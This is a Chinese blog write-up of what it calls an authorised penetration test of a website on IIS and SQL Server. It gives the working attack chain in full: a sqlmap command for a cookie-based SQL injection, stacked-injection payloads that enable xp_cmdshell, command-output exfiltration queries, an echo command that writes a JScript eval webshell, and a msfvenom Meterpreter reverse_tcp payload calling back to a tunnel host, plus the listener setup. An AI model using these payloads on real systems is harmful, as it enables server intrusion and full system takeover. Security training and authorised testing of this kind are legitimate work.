一次授权渗透实战

前言

  最近刚好闲来无事,打开微信接到要一个对网站进行渗透测试的消息,对方发来网站后,马不停蹄的开始。(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)

信息收集

  打开网站,一股简陋破败风引面而来,随即注册一个账号,以便后面的登录
  
  利用wappalyzer浏览器插件,获取到的信息,对于我这个菜鸡而言,并没有看到可以有用的东西
  
  得到waf为OWASP CRS
  
  使用nmap扫描,nmap -O -v -Pn 61.157.xx.xx
  
  开放的端口少之又少,基本没啥可利用的。又结合web服务器是iis,再根据nmap猜测的操作系统,确定操作系统为win server 2012
  再用nmap自带的漏洞利用脚本,nmap –script=vuln 61.157.xx.xx
  
  主机安全做的很好,数据库禁止外连,让我无从下手,只有换一条路
  
  直接上御剑后,看到admin字符,让我心中小喜,果断打开
  
  尝试弱口令登陆
  
  神奇的一幕出现了,竟然验证码有误?
  
  后来不管我怎么输入,都只会出现一个提示”验证码有误!”,看来对方的设计是大家来一个同归于尽,这条路只好放弃了
     

漏洞挖掘

  登陆进去后,发现有上传头像的地方,果断试试能不能上传马
  尝试content-type能否绕过
  
  看来对方是要校验后缀名,而且还是白名单的形式,看是否有iis解析漏洞,期间我搜了许多都没有找到iis8.5漏洞文章
  
  上传一次正常图片后,虽然给出图片路径,但文件名是根据时间戳命名的图片,并且统一后缀名为png,这种看到就换条路吧
  
  看到重置登陆密码,我就猜想这个框是否存在sql注入呢
  
  
  难道就这样放弃了吗,我停下手中的键盘想了想。无论我怎么修改密码字符,都提示密码错误,那么肯定是将cookie中(shouji)参数代入sql语句,然后在将密码参数代入,看两个参数是否同时匹配数据库。也就是说shouji参数也可能存在sql注入
  
  这都不拦截?形同虚设的waf
  
  
  
  直接上sqlmap,以前从来没有碰到过注入点在cookie里面的,所以sqlmap命令格式就卡了我一天。顺便总结一下如果注入点在cookie,并且网站需要登录的命令。
  带上–cookie参数,作用是让sqlmap能登陆进网站,重点来了,必须使用–level 2 后面的数字必须是>=2,它才会检测cookie是否存在注入点
  参考命令如下

python sqlmap.py -u "http://xxxx/tedb/user_repwd.aspx" --level 2 --cookie="member=id=45230&shouji=123456" -p member --random-agent

  添加–os-shell参数,看能否直接得到shell
  
  报错信息意思是不支持堆叠注入,这里有疑惑点后面讲
  获取banner信息为Microsoft SQL Server 2008,操作系统win server 2012 or 2008,根据前面的信息 100%确定操作系统为win server 2012
  
  获取数据库
  
  获取msdb数据库中的表,出现了这一幕
  
  
  此时天色已晚,躺在床上的我,整理一下思路。首先能获取到数据库信息,那么肯定存在sql注入的,其次是mssql数据库,是不是还有其他办法得到webshell呢?于是打开手机疯狂百度,学习其他大佬的姿势,找到了可以用xp_cmdshell 来让对方服务器远程执行cmd命令。学到了,明天起来验证,睡觉狗命要紧!!!

利用xp_cmdshell拿到webshell

  MSSQL2005及以上版本默认禁用了xp_cmdshell。而如果该扩展存储过程没被删除,就能一句话启用它(不支持多句执行的话,请单独执行每句)

--开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
--关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE

  

exec master..xp_cmdshell "whoami" --用来执行cmd命令

  
  能远程执行命令,很nice,果断开启
  
  因图片看不清有些标点符号,贴出完整语句

shouji=123456';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--

  可以从图片清楚的看到出现了红色和黑色两部分,这说明黑色部分的语句并没有发送过去,只有红色的部分发送过去了,这也是burp很强大的功能。
  将 ‘;’ url编码成 %3b,其他发送失败的字符也同理(还记得前面写的不支持堆叠注入吗,原因就在于sqlmap中的payload没有将’;’转换成%3b,所以会出现不支持堆叠注入,自己编写一个sqlmap的tamper脚本即可sqlmap tamper脚本编写)
  
  执行后,是无法得知对方是否成功开启了xp_cmdshell,所以可以用ping命令返回时间,来判断
  发送后,大约等了10s左右,得到了响应包,说明开启成功
  
  先查看一下是什么权限吧
  
  
  竟然无回显,查阅后得知,可以将结果写入表中,然后查看表中的内容即可

drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'whoami' ;

  将执行的结果写进D99_CMD表
  
  改变id=1后面的数字即可查看表中对应的行的内容,只能一行一行的查看,这也是非常鸡肋的地方

-- 查看表中的内容
And (select Top 1 char(124) data char(124) From (select Top 1 [ID],[Data] From D99_CMD where id=1 Order by [ID]) T Order by [ID] desc)>0
-- 获取表有多少行
And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0

  
  
  注意这里的system权限,是对方cmd.exe拥有的system权限,即本地cmd执行whoami,返回的内容
  查看对方有哪些盘

for %i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @if exist %i: echo %i:

  执行命令后,查看表中的内容,如果出现”此时不应有 i。”,将payload进行url编码,重新发送后即可
  
  获取到对方有c,d盘
  
  接下来,就要获取网站的物理路径
  

#在c盘下查找user_repwd.aspx文件的物理路径 注意文件名后面一定要有'*'号
for /r c:\ %i in (user_repwd*.aspx) do @echo %i 

  当我查看表中的内容时,无任何回显于是,在d盘下搜索,得到
  
  其实在我最开始的时候,我没有先执行获取对方有哪些盘符的命令,而是先执行c盘下获取文件路径命令。当输出表结果是无任何回显时,我是非常懵逼的,我一度怀疑命令是不是执行失败,而没有第一次时间考虑到对方有多个盘符,导致我在这里浪费了几个小时。。

#将一句话木马写入文件
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:\wwwroot\sjk\tedb\shell.aspx

  使用蚁剑成功连接上webshell
  
  执行whoami后发现是iis apppool\xxx
  发现拥有的权限有,可遍历文件夹包括c盘,文件读写,当前文件夹下不能上传文件
  很幸运的是,我发现在其他文件夹下能成功上传文件,接下来提权

提权

  这里我用花生壳来建立tcp隧道
  打开kali,查看ip地址
  
  点击花生壳最右下角的’+’号,创建场景,应用名称随便填,内网主机填kali的ip地址,内网端口随便填,我这里填8080,保存
  
  生成反弹shell

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp  LHOST=外网域名 LPORT=外网端口 -f exe -o install.exe

  

以我的为例,生成反弹shell参考命令如下

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp  LHOST=l347x45481.qicp.vip LPORT=57945 -f exe -o install.exe

  
  生成的木马将会在当前目录下
  
  将kali中的install.exe拖到windows中后,成功上传
  
  回到kali中,依次输入以下命令

msfconsole
use exploit/multi/handler  
set payload windows/x64/meterpreter/reverse_tcp  
set lhost 192.168.46.129     //内网主机ip
set lport 8080               //内网端口
run

  成功开启监听
  
  接下来就是运行木马了,这里要注意的是,什么样的权限,无论运行什么程序它赋予的权限也是一样的。如果我直接在蚁剑中执行马子,那么此马子的权限还是iis,而前面通过xp_cmdshell得知权限为system,所以还是要用xp_cmdshell来执行马子
  
  session成功建立,如果不成功,有可能是防火墙,杀软在捣乱,谁叫我人品好呢。要是对方安装个杀软,我还要搞免杀,也不至于这么顺利
  
  提权成功
  
  剩下的就是后渗透阶段了,永久后门植入,权限维持,域渗透等等。由于本人水平有限,文中难免有错误或遗漏之处,还请谅解,最后感谢你的阅读!

后记

  马子上线的第二天就被对方发现了,这么明显的马名,不被发现也难,错误示范,大家别学我啊(#-.-)

查看评论 -
评论